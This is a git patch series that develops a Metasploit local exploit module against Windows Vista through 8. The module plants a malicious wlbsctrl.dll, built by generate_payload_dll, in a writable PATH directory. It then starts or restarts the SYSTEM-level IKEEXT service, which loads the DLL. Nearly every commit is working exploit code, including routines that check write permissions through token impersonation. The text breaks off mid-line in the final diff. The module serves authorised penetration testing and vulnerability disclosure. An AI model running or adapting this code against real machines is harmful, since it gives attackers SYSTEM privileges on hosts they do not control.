From 344f32d6ba3b2b0c8d454449a06e29511fa8efe7 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sat, 20 Oct 2012 00:23:41 +0100 Subject: [PATCH 001/160] Initial commit - non working :( --- .../windows/local/ipsec_keyring_service.rb | 217 ++++++++++++++++++ 1 file changed, 217 insertions(+) create mode 100644 modules/exploits/windows/local/ipsec_keyring_service.rb diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb new file mode 100644 index 0000000000..dd5242a556 --- /dev/null +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -0,0 +1,217 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/windows/services' + +class Metasploit3 < Msf::Exploit::Local + Rank = 'Normal' + + include Msf::Exploit::EXE + include Msf::Post::Common + include Msf::Post::File + include Post::Windows::WindowsServices + + def initialize(info={}) + super( update_info( info, + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Missing DLL', + 'Description' => %q{ + This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring + Modules' service which runs as SYSTEM, and starts automatically in default + installations of Vista-Win8. + }, + 'References' => + [ + ['URL', 'https://www.htbridge.com/advisory/HTB23108'], + ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] + ], + 'DisclosureDate' => "Oct 9 2012", + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ben Campbell ', + ], + 'Platform' => [ 'win'], + 'Targets' => [ ['Windows', {}] ], + 'SessionTypes' => [ "shell", "meterpreter" ], + 'DefaultTarget' => 0, + )) + + @load_lib_search_path = [ '%SystemRoot%\\System32', + '%SystemRoot%\\System', + '%SystemRoot%' + ] + @non_existant_dirs = [] + end + + def check + service_info = service_info('IKEEXT') + + if service_info.nil? + return Exploit::CheckCode::Safe + else + if service_info['Startup'] == 'Disabled' + print_error("Service is Disabled, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + end + + if check_search_path + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Vulnerable + end + end + + def check_search_path + dll = 'wlbsctrl.dll' + + @load_lib_search_path.each do |path| + dll_path = "#{expand_path(path)}\\#{dll}" + if file_exist?(dll_path) + print_error("DLL already exists at #{dll_path}...") + return true + end + end + + return false + end + + def check_system_path + print_status("Checking SYSTEM PATH folders for write access...") + result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') + paths = result.split(';') + paths.append(@load_lib_search_path).uniq! + + paths.each do |p| + path = expand_path(p) + if exist?(path) + filename = "#{path}\\#{Rex::Text.rand_text_alpha(10)}" + vprint_status("Creating file #{filename}") + begin + if write_file(filename, "") and file_exist?(filename) # This will not work against UAC + print_good("Write permissions in #{path}") + begin + file_rm(filename) + vprint_status("Deleted file #{filename}") + return path + rescue ::Exception => e + print_error("Error deleting #{filename} : #{e}") # Warn users if cleanup fails + end + end + rescue ::Exception => e + vprint_status("Unable to create #{filename} : #{e}") + end + else + # User may be able to create the path! + # exist? appears to have some false positives + print_status("Path #{path} does not exist...") + @non_existant_dirs << path + end + end + + return nil + end + + # Todo, for all @non_existant_dirs can we create those + # paths ourselves? + def check_dirs + return nil + end + + def cleanup(file_path) + begin + file_rm(file_path) + vprint_status("Deleted file #{file_path}") + rescue ::Exception => e + print_error("Error deleting #{file_path} : #{e}") # Warn users if cleanup fails + end + end + + def exploit + service_name = 'IKEEXT' + print_status("Checking service exists...") + service_info = service_info(service_name) + + if service_info.nil? + print_error("No service found, aborting...") + return + end + + # DLL already exists in system folders, we dont want to overwrite by accident + if check_search_path + return + end + + file_path = check_system_path + file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs + + if file_path.nil? + print_error("Unable to write to any folders in the PATH, aborting...") + return + end + + dll_path = "#{file_path}\\wlbsctrl.dll" + + if service_info['Startup'] == 'Disabled' + print_status("Service is disabled, attempting to enable...") + service_change_startup(service_name, 'auto') + service_info = service_info(service_name) + + # Still disabled + if service_info['Startup'] == 'Disabled' + print_error("Unable to enable service, aborting...") + return + end + end + + dll = generate_payload_dll + + # + # Drop the malicious executable into the path + # + print_status("Writing #{dll.length.to_s} bytes to #{dll_path}...") + begin + write_file(dll_path, dll) + rescue Rex::Post::Meterpreter::RequestError => e + # Can't write the file, can't go on + print_error(e.message) + return + end + + # + # Run the service, let the Windows API do the rest + # + print_status("Launching service #{service_name}...") + + begin + status = service_start(service_name) + if status == 1 + print_status("Service already running, attempting to restart...") + if service_stop(service_name) == 0 + print_status("Service stopped, attempting to start...") + if service_start(service_name) == 0 + print_status("Service started...") + else + print_error("Unable to start service.") + end + end + elsif status == 0 + print_status("Service started...") + end + rescue ::Exception => e + if service_info['Startup'] == 'Manual' + print_error("Unable to start service, and it does not auto start, cleaning up...") + cleanup(dll_path) + else + print_status("Unable to start service, wait for a reboot...") + end + end + end + +end From cae0aa9c313b46ec903b4ff6eae5970fd5802b68 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 5 Nov 2012 23:55:49 +0000 Subject: [PATCH 002/160] Check architecture, fix cleanup etc --- .../windows/local/ipsec_keyring_service.rb | 73 ++++++++++++++----- 1 file changed, 54 insertions(+), 19 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index dd5242a556..4bdbdd2efc 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -10,7 +10,7 @@ require 'msf/core/post/common' require 'msf/core/post/windows/services' class Metasploit3 < Msf::Exploit::Local - Rank = 'Normal' + Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::Common @@ -38,7 +38,12 @@ class Metasploit3 < Msf::Exploit::Local ], 'Platform' => [ 'win'], 'Targets' => [ ['Windows', {}] ], - 'SessionTypes' => [ "shell", "meterpreter" ], + 'SessionTypes' => [ "meterpreter" ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => '5' + }, 'DefaultTarget' => 0, )) @@ -51,8 +56,14 @@ class Metasploit3 < Msf::Exploit::Local def check service_info = service_info('IKEEXT') - + if service_info.nil? + print_error("Unable to enumerate services.") + return + end + + if service_info && service_info['Name'].empty? + print_error("Service does not exist.") return Exploit::CheckCode::Safe else if service_info['Startup'] == 'Disabled' @@ -123,30 +134,50 @@ class Metasploit3 < Msf::Exploit::Local def check_dirs return nil end - - def cleanup(file_path) - begin - file_rm(file_path) - vprint_status("Deleted file #{file_path}") - rescue ::Exception => e - print_error("Error deleting #{file_path} : #{e}") # Warn users if cleanup fails + + # TODO Move to Exploit::Local? + def session_arch + if sysinfo["Architecture"] =~ /x64/i + return ARCH_X64 + elsif sysinfo["Architecture"] =~ /x86/i + return ARCH_X86 + else + print_status("#{sysinfo["Architecture"]}") + return nil end end + def cleanup + if @write_success && @dll_file_path + begin + file_rm(@dll_file_path) + vprint_status("Deleted file #{@dll_file_path}") + rescue ::Exception => e + print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails + end + end + + super + end + def exploit service_name = 'IKEEXT' print_status("Checking service exists...") service_info = service_info(service_name) if service_info.nil? - print_error("No service found, aborting...") + print_error("Unable to enumerate services.") return end + + if service_info && service_info['Name'].empty? + print_error("Service does not exist.") + end # DLL already exists in system folders, we dont want to overwrite by accident - if check_search_path - return - end + #if check_search_path + # return + #end file_path = check_system_path file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs @@ -156,7 +187,7 @@ class Metasploit3 < Msf::Exploit::Local return end - dll_path = "#{file_path}\\wlbsctrl.dll" + @dll_file_path = "#{file_path}\\wlbsctrl.dll" if service_info['Startup'] == 'Disabled' print_status("Service is disabled, attempting to enable...") @@ -170,17 +201,20 @@ class Metasploit3 < Msf::Exploit::Local end end - dll = generate_payload_dll + # Check architecture + dll = generate_payload_dll({:arch => session_arch}) # # Drop the malicious executable into the path # - print_status("Writing #{dll.length.to_s} bytes to #{dll_path}...") + print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") begin - write_file(dll_path, dll) + write_file(@dll_file_path, dll) + @write_success = true rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on print_error(e.message) + @write_success = false return end @@ -200,6 +234,8 @@ class Metasploit3 < Msf::Exploit::Local else print_error("Unable to start service.") end + else + print_error("Unable to stop service.") end elsif status == 0 print_status("Service started...") @@ -207,7 +243,6 @@ class Metasploit3 < Msf::Exploit::Local rescue ::Exception => e if service_info['Startup'] == 'Manual' print_error("Unable to start service, and it does not auto start, cleaning up...") - cleanup(dll_path) else print_status("Unable to start service, wait for a reboot...") end From f60aa562b756ff73af858eb4edbd40b3692876c7 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 14:39:41 +0000 Subject: [PATCH 003/160] Working x86 --- .../windows/local/ipsec_keyring_service.rb | 124 ++++++++++++------ 1 file changed, 83 insertions(+), 41 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 4bdbdd2efc..a605d80a27 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -13,9 +13,9 @@ class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE - include Msf::Post::Common include Msf::Post::File - include Post::Windows::WindowsServices + include Msf::Post::Windows::Priv + include Msf::Post::Windows::WindowsServices def initialize(info={}) super( update_info( info, @@ -46,25 +46,40 @@ class Metasploit3 < Msf::Exploit::Local }, 'DefaultTarget' => 0, )) + + register_options([ + OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) + ]) @load_lib_search_path = [ '%SystemRoot%\\System32', '%SystemRoot%\\System', '%SystemRoot%' ] @non_existant_dirs = [] + @service_name = 'IKEEXT' + end + + def check_service_exists?(service) + service_info = service_info(service) + + if service_info.nil? + print_error("Unable to enumerate services.") + return false + end + + if service_info && service_info['Name'].empty? + print_error("Service #{service} does not exist.") + return false + else + return true + end end def check service_info = service_info('IKEEXT') - if service_info.nil? - print_error("Unable to enumerate services.") - return - end - - if service_info && service_info['Name'].empty? - print_error("Service does not exist.") - return Exploit::CheckCode::Safe + if !check_service_exists?(@service_name) + return Exploit::CheckCode::Safe else if service_info['Startup'] == 'Disabled' print_error("Service is Disabled, so will be unable to exploit unless account has correct permissions...") @@ -84,6 +99,8 @@ class Metasploit3 < Msf::Exploit::Local @load_lib_search_path.each do |path| dll_path = "#{expand_path(path)}\\#{dll}" + + # This seems to return false even when file exists? if file_exist?(dll_path) print_error("DLL already exists at #{dll_path}...") return true @@ -97,7 +114,7 @@ class Metasploit3 < Msf::Exploit::Local print_status("Checking SYSTEM PATH folders for write access...") result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') paths = result.split(';') - paths.append(@load_lib_search_path).uniq! + paths.append(@load_lib_search_path).flatten!.uniq! paths.each do |p| path = expand_path(p) @@ -119,7 +136,7 @@ class Metasploit3 < Msf::Exploit::Local vprint_status("Unable to create #{filename} : #{e}") end else - # User may be able to create the path! + # User may be able to create the path... # exist? appears to have some false positives print_status("Path #{path} does not exist...") @non_existant_dirs << path @@ -132,6 +149,16 @@ class Metasploit3 < Msf::Exploit::Local # Todo, for all @non_existant_dirs can we create those # paths ourselves? def check_dirs + print_status("Attempting to create a non-existant PATH dir to use.") + @non_existant_dirs.each do |dir| + begin + client.fs.dir.mkdir(dir) + return dir + rescue Rex::Post::Meterpreter::RequestError => e + vprint_status("Unable to create dir: #{dir} - #{e}") + end + end + return nil end @@ -161,41 +188,56 @@ class Metasploit3 < Msf::Exploit::Local end def exploit - service_name = 'IKEEXT' + if is_system? + print_error("Current user is already SYSTEM, aborting.") + return + end + print_status("Checking service exists...") - service_info = service_info(service_name) - - if service_info.nil? - print_error("Unable to enumerate services.") + if !check_service_exists?(@service_name) return end - if service_info && service_info['Name'].empty? - print_error("Service does not exist.") - end - - # DLL already exists in system folders, we dont want to overwrite by accident - #if check_search_path - # return - #end - - file_path = check_system_path - file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs - - if file_path.nil? - print_error("Unable to write to any folders in the PATH, aborting...") + if session_arch == 'ARCH_X64' + print_error("Exploit currently does not work with x64.") return end + + if is_uac_enabled? && datastore['DIR'].empty? + print_error("Unable to enumerate permissions with UAC enabled, manually set a directory to use.") + print_status(registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')) + return + end + + if datastore['DIR'].empty? + # DLL already exists in system folders, we dont want to overwrite by accident + if check_search_path + return + end + + file_path = check_system_path + file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs + + if file_path.nil? + print_error("Unable to write to any folders in the PATH, aborting...") + return + end + else + # Use manually selected Dir + file_path = datastore['DIR'] + end @dll_file_path = "#{file_path}\\wlbsctrl.dll" + + service_information = service_info(@service_name) - if service_info['Startup'] == 'Disabled' + if service_information['Startup'] == 'Disabled' print_status("Service is disabled, attempting to enable...") - service_change_startup(service_name, 'auto') - service_info = service_info(service_name) + service_change_startup(@service_name, 'auto') + service_information = service_info(@service_name) # Still disabled - if service_info['Startup'] == 'Disabled' + if service_information['Startup'] == 'Disabled' print_error("Unable to enable service, aborting...") return end @@ -221,15 +263,15 @@ class Metasploit3 < Msf::Exploit::Local # # Run the service, let the Windows API do the rest # - print_status("Launching service #{service_name}...") + print_status("Launching service #{@service_name}...") begin - status = service_start(service_name) + status = service_start(@service_name) if status == 1 print_status("Service already running, attempting to restart...") - if service_stop(service_name) == 0 + if service_stop(@service_name) == 0 print_status("Service stopped, attempting to start...") - if service_start(service_name) == 0 + if service_start(@service_name) == 0 print_status("Service started...") else print_error("Unable to start service.") @@ -241,10 +283,10 @@ class Metasploit3 < Msf::Exploit::Local print_status("Service started...") end rescue ::Exception => e - if service_info['Startup'] == 'Manual' + if service_information['Startup'] == 'Manual' print_error("Unable to start service, and it does not auto start, cleaning up...") else - print_status("Unable to start service, wait for a reboot...") + print_status("Unable to start service, manually create handler and wait for a reboot...") end end end From 933515dae239a9de7ea6ac298209f76a26952295 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 14:42:49 +0000 Subject: [PATCH 004/160] Msftidy --- .../windows/local/ipsec_keyring_service.rb | 44 +++++++++---------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index a605d80a27..df9b628206 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Local }, 'DefaultTarget' => 0, )) - + register_options([ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) ]) @@ -58,15 +58,15 @@ class Metasploit3 < Msf::Exploit::Local @non_existant_dirs = [] @service_name = 'IKEEXT' end - + def check_service_exists?(service) service_info = service_info(service) - + if service_info.nil? print_error("Unable to enumerate services.") return false end - + if service_info && service_info['Name'].empty? print_error("Service #{service} does not exist.") return false @@ -77,9 +77,9 @@ class Metasploit3 < Msf::Exploit::Local def check service_info = service_info('IKEEXT') - + if !check_service_exists?(@service_name) - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Safe else if service_info['Startup'] == 'Disabled' print_error("Service is Disabled, so will be unable to exploit unless account has correct permissions...") @@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Local @load_lib_search_path.each do |path| dll_path = "#{expand_path(path)}\\#{dll}" - + # This seems to return false even when file exists? if file_exist?(dll_path) print_error("DLL already exists at #{dll_path}...") @@ -156,12 +156,12 @@ class Metasploit3 < Msf::Exploit::Local return dir rescue Rex::Post::Meterpreter::RequestError => e vprint_status("Unable to create dir: #{dir} - #{e}") - end + end end - + return nil end - + # TODO Move to Exploit::Local? def session_arch if sysinfo["Architecture"] =~ /x64/i @@ -183,32 +183,32 @@ class Metasploit3 < Msf::Exploit::Local print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails end end - + super end def exploit - if is_system? - print_error("Current user is already SYSTEM, aborting.") - return + if is_system? + print_error("Current user is already SYSTEM, aborting.") + return end - + print_status("Checking service exists...") if !check_service_exists?(@service_name) return end - + if session_arch == 'ARCH_X64' print_error("Exploit currently does not work with x64.") return end - - if is_uac_enabled? && datastore['DIR'].empty? - print_error("Unable to enumerate permissions with UAC enabled, manually set a directory to use.") + + if is_uac_enabled? && datastore['DIR'].empty? + print_error("Unable to enumerate permissions with UAC enabled, manually set a directory to use.") print_status(registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')) - return + return end - + if datastore['DIR'].empty? # DLL already exists in system folders, we dont want to overwrite by accident if check_search_path @@ -228,7 +228,7 @@ class Metasploit3 < Msf::Exploit::Local end @dll_file_path = "#{file_path}\\wlbsctrl.dll" - + service_information = service_info(@service_name) if service_information['Startup'] == 'Disabled' From ca95973b8f3db905f438822b6182715f57f9ca68 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 14:56:26 +0000 Subject: [PATCH 005/160] Null check --- modules/exploits/windows/local/ipsec_keyring_service.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index df9b628206..fc611b6d8d 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -113,6 +113,12 @@ class Metasploit3 < Msf::Exploit::Local def check_system_path print_status("Checking SYSTEM PATH folders for write access...") result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') + + if result.nil? + print_error("Unable to retrieve SYSTEM PATH from registry.") + return + end + paths = result.split(';') paths.append(@load_lib_search_path).flatten!.uniq! From 142cef61823e3d70457c763da3ad25092b56a555 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 15:11:00 +0000 Subject: [PATCH 006/160] Dont cleanup dll when reboot is required. --- .../windows/local/ipsec_keyring_service.rb | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index fc611b6d8d..e55894575d 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -181,12 +181,14 @@ class Metasploit3 < Msf::Exploit::Local end def cleanup - if @write_success && @dll_file_path - begin - file_rm(@dll_file_path) - vprint_status("Deleted file #{@dll_file_path}") - rescue ::Exception => e - print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails + unless @reboot + if @write_success && @dll_file_path + begin + file_rm(@dll_file_path) + vprint_status("Deleted file #{@dll_file_path}") + rescue ::Exception => e + print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails + end end end @@ -194,6 +196,8 @@ class Metasploit3 < Msf::Exploit::Local end def exploit + @reboot = false + if is_system? print_error("Current user is already SYSTEM, aborting.") return @@ -292,6 +296,7 @@ class Metasploit3 < Msf::Exploit::Local if service_information['Startup'] == 'Manual' print_error("Unable to start service, and it does not auto start, cleaning up...") else + @reboot = true print_status("Unable to start service, manually create handler and wait for a reboot...") end end From ac6048837bc130f286e4a663392a9498ec3f3867 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 15:12:18 +0000 Subject: [PATCH 007/160] msftidy --- modules/exploits/windows/local/ipsec_keyring_service.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index e55894575d..440307e983 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -197,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Local def exploit @reboot = false - + if is_system? print_error("Current user is already SYSTEM, aborting.") return From 063661c32045a522d52a72c92228573d1348fea2 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 11 Nov 2012 19:33:32 +0000 Subject: [PATCH 008/160] Address some initial feedback thanks bperry --- .../exploits/windows/local/ipsec_keyring_service.rb | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 440307e983..672a7158c6 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Local 'License' => MSF_LICENSE, 'Author' => [ - 'Ben Campbell ', + 'Ben Campbell ' ], 'Platform' => [ 'win'], 'Targets' => [ ['Windows', {}] ], @@ -44,19 +44,19 @@ class Metasploit3 < Msf::Exploit::Local 'EXITFUNC' => 'thread', 'WfsDelay' => '5' }, - 'DefaultTarget' => 0, + 'DefaultTarget' => 0 )) register_options([ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) ]) - + @service_name = 'IKEEXT' @load_lib_search_path = [ '%SystemRoot%\\System32', '%SystemRoot%\\System', '%SystemRoot%' ] @non_existant_dirs = [] - @service_name = 'IKEEXT' + end def check_service_exists?(service) @@ -152,8 +152,6 @@ class Metasploit3 < Msf::Exploit::Local return nil end - # Todo, for all @non_existant_dirs can we create those - # paths ourselves? def check_dirs print_status("Attempting to create a non-existant PATH dir to use.") @non_existant_dirs.each do |dir| @@ -208,7 +206,7 @@ class Metasploit3 < Msf::Exploit::Local return end - if session_arch == 'ARCH_X64' + if session_arch == ARCH_X64 print_error("Exploit currently does not work with x64.") return end From 522a80875e9d43b29574828469944c58951a8436 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 13 Dec 2012 22:16:39 +0000 Subject: [PATCH 009/160] Borrowed enum_dirperms checking. --- .../windows/local/ipsec_keyring_service.rb | 104 +++++++++++++----- 1 file changed, 76 insertions(+), 28 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 672a7158c6..c36e29c884 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -8,6 +8,7 @@ require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' +require 'msf/core/post/windows/priv.rb' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking @@ -52,9 +53,9 @@ class Metasploit3 < Msf::Exploit::Local ]) @service_name = 'IKEEXT' @load_lib_search_path = [ '%SystemRoot%\\System32', - '%SystemRoot%\\System', - '%SystemRoot%' - ] + '%SystemRoot%\\System', + '%SystemRoot%' + ] @non_existant_dirs = [] end @@ -100,7 +101,6 @@ class Metasploit3 < Msf::Exploit::Local @load_lib_search_path.each do |path| dll_path = "#{expand_path(path)}\\#{dll}" - # This seems to return false even when file exists? if file_exist?(dll_path) print_error("DLL already exists at #{dll_path}...") return true @@ -125,25 +125,11 @@ class Metasploit3 < Msf::Exploit::Local paths.each do |p| path = expand_path(p) if exist?(path) - filename = "#{path}\\#{Rex::Text.rand_text_alpha(10)}" - vprint_status("Creating file #{filename}") - begin - if write_file(filename, "") and file_exist?(filename) # This will not work against UAC - print_good("Write permissions in #{path}") - begin - file_rm(filename) - vprint_status("Deleted file #{filename}") - return path - rescue ::Exception => e - print_error("Error deleting #{filename} : #{e}") # Warn users if cleanup fails - end - end - rescue ::Exception => e - vprint_status("Unable to create #{filename} : #{e}") + if check_write_access(path) + return path end else # User may be able to create the path... - # exist? appears to have some false positives print_status("Path #{path} does not exist...") @non_existant_dirs << path end @@ -152,12 +138,28 @@ class Metasploit3 < Msf::Exploit::Local return nil end + def check_write_access(path) + perm = check_dir(path, @token) + if perm and perm.include?('W') + print_good ("Write permissions in #{path} - #{perm}") + return true + elsif perm + vprint_status ("Permissions for #{path} - #{perm}") + else + vprint_status ("No permissions for #{path}") + end + + return false + end + def check_dirs print_status("Attempting to create a non-existant PATH dir to use.") @non_existant_dirs.each do |dir| begin client.fs.dir.mkdir(dir) - return dir + if exist?(path) + return dir + end rescue Rex::Post::Meterpreter::RequestError => e vprint_status("Unable to create dir: #{dir} - #{e}") end @@ -166,7 +168,6 @@ class Metasploit3 < Msf::Exploit::Local return nil end - # TODO Move to Exploit::Local? def session_arch if sysinfo["Architecture"] =~ /x64/i return ARCH_X64 @@ -194,6 +195,7 @@ class Metasploit3 < Msf::Exploit::Local end def exploit + @token = get_imperstoken() @reboot = false if is_system? @@ -208,18 +210,17 @@ class Metasploit3 < Msf::Exploit::Local if session_arch == ARCH_X64 print_error("Exploit currently does not work with x64.") - return + #return end - if is_uac_enabled? && datastore['DIR'].empty? - print_error("Unable to enumerate permissions with UAC enabled, manually set a directory to use.") - print_status(registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')) - return + if is_uac_enabled? + print_error("UAC is enabled results, may get false negatives on writeable folders.") end if datastore['DIR'].empty? - # DLL already exists in system folders, we dont want to overwrite by accident + # If DLL already exists in system folders, we dont want to overwrite by accident if check_search_path + print_error("DLL already exists in system folders.") return end @@ -300,4 +301,51 @@ class Metasploit3 < Msf::Exploit::Local end end + # Below copied from enum_dirperms + def get_imperstoken + adv = session.railgun.advapi32 + tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " + tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" + tok_all << " | TOKEN_ADJUST_DEFAULT" + + #get impersonation token handle it["DuplicateTokenhandle"] carries this value + #p = kern.GetCurrentProcess() #get handle to current process + pid = session.sys.process.open.pid + pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token + it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token + if it["return"] #if it fails return 0 for error handling + return it["DuplicateTokenHandle"] + else + return 0 + end + end + + def check_dir(dir, token) + adv = session.railgun.advapi32 + si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" + result = "" + + #define generic mapping structure + gen_map = [0,0,0,0] + gen_map = gen_map.pack("L") + + #get Security Descriptor for the directory + f = adv.GetFileSecurityA(dir, si, 20, 20, 4) + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + sd = f["pSecurityDescriptor"] + + #check for write access, called once to get buffer size + a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) + len = a["PrivilegeSetLength"] + + r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) + if !r["return"] then return nil end + if r["GrantedAccess"] > 0 then result << "R" end + + w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) + if !w["return"] then return nil end + if w["GrantedAccess"] > 0 then result << "W" end + end end + From 0963b5ee8484b785057cdab1397a2aa3fc535d10 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 13 Dec 2012 23:00:26 +0000 Subject: [PATCH 010/160] Use custom exist? --- .../exploits/windows/local/ipsec_keyring_service.rb | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index c36e29c884..9e01543f04 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -59,6 +59,17 @@ class Metasploit3 < Msf::Exploit::Local @non_existant_dirs = [] end + + # Current exist? gives false negative when folder does exist. + def exist?(path) + begin + session.fs.dir.entries(path) + return true + rescue + end + + return false + end def check_service_exists?(service) service_info = service_info(service) From 90dd90a30454c64f04a215e8033aaa10013ca96d Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 30 Dec 2012 14:32:17 +0000 Subject: [PATCH 011/160] Add Startup Manual to Check method --- .../windows/local/ipsec_keyring_service.rb | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 672a7158c6..3b331c3554 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -8,6 +8,7 @@ require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' +require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking @@ -15,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Windows::Priv - include Msf::Post::Windows::WindowsServices + include Msf::Post::Windows::Services def initialize(info={}) super( update_info( info, @@ -81,9 +82,17 @@ class 